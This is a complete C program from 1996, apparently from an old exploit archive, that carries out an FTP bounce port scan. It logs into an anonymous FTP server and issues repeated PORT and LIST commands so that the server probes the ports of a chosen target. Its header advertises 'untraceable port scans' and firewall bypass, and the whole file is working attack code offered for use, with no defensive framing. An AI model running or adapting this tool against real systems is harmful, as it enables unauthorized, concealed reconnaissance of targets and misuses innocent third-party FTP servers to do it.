./c0de/c/ftpscan.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
/*
 * FTP Scan (C) 1996 Kit Knox <[email protected]>
 *
 * Exploits bug in FTP protocol that allows user to connect to arbritary
 * IP address and port.
 *
 * Features: Untraceable port scans.  Bypass firewalls!
 *
 * Example usage:
 *
 * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
 *
 * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
 
int sock;
char line[1024];
 
void rconnect(char *server)
{
  struct sockaddr_in sin;
  struct hostent *hp;
 
  hp = gethostbyname(server);
  if (hp==NULL) {
    printf("Unknown host: %s\n",server);
    exit(0);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(21);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
}
 
void login(void)
{
  char buf[1024];
 
  sprintf(buf,"USER ftp\n");
  send(sock, buf, strlen(buf),0);
  sleep(1);
  sprintf(buf,"PASS user@\n");
  send(sock, buf, strlen(buf),0);
}
 
void readln(void)
{
  int i,done=0,w;
  char tmp[1];
 
  sprintf(line,"");
  i = 0;
  while (!done) {
    w=read(sock,tmp, 1, 0);
    if (tmp[0] != 0) {
      line[i] = tmp[0];
    }
    if (line[i] == '\n') {
      done = 1;
    }
    i++;
  }
  line[i] = 0;
}
 
void sendln(char s[1024]) {
  send(sock, s, strlen(s),0);
}
 
#define UC(b)   (((int)b)&0xff)
 
void main(int argc, char **argv)
{
  char buf[1024];
  int i;
  u_short sport,eport;
  register char *p,*a;
  struct hostent *hp;
  struct sockaddr_in sin;
  char adr[1024];
 
  if (argc != 5) {
    printf("usage: ftp-scan ftp_server scan_host loport hiport\n");
    exit(-1);
  }
 
  hp = gethostbyname(argv[2]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[2]);
    exit(0);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
 
  rconnect(argv[1]);
  /* Login anon to server */
  login();
  /* Make sure we are in */
  for (i=0; i<200; i++) {
    readln();
    if (strstr(line,"230 Guest")) {
      printf("%s",line);
      i = 200;
    }
  }
  a=(char *)&sin.sin_addr;
  sport = atoi(argv[3]);
  eport = atoi(argv[4]);
  sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
  for (i=sport; i<eport; i++) {
    sin.sin_port = htons(i);
    p=(char *)&sin.sin_port;
    sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1]));
    sendln(buf);
    sprintf(line,"");
    while (!strstr(line, "150") && !strstr(line,"425")) {
      readln();
    }
    if (strstr(line,"150")) {
      printf("%i connected.\n",i);
    }
  }
  close(sock);
}
 

Back